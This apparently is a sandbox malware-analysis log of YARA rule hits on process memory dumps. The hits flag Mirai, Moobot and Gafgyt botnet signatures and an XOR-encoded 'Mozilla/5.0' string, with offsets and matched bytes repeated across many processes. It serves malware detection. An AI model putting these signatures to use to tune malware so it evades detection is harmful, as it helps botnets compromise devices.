6435.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6435.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6435.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6435.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6435.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6435.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6846.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6763.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6456.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6456.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6456.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6456.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6456.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6456.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7371.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7371.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7371.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7371.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7371.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7371.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7330.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7061.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7102.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7102.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7102.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7102.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7102.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7102.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6285.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7060.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7347.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6788.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6862.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6258.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6683.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6718.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6718.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6718.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6718.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6731.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7206.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
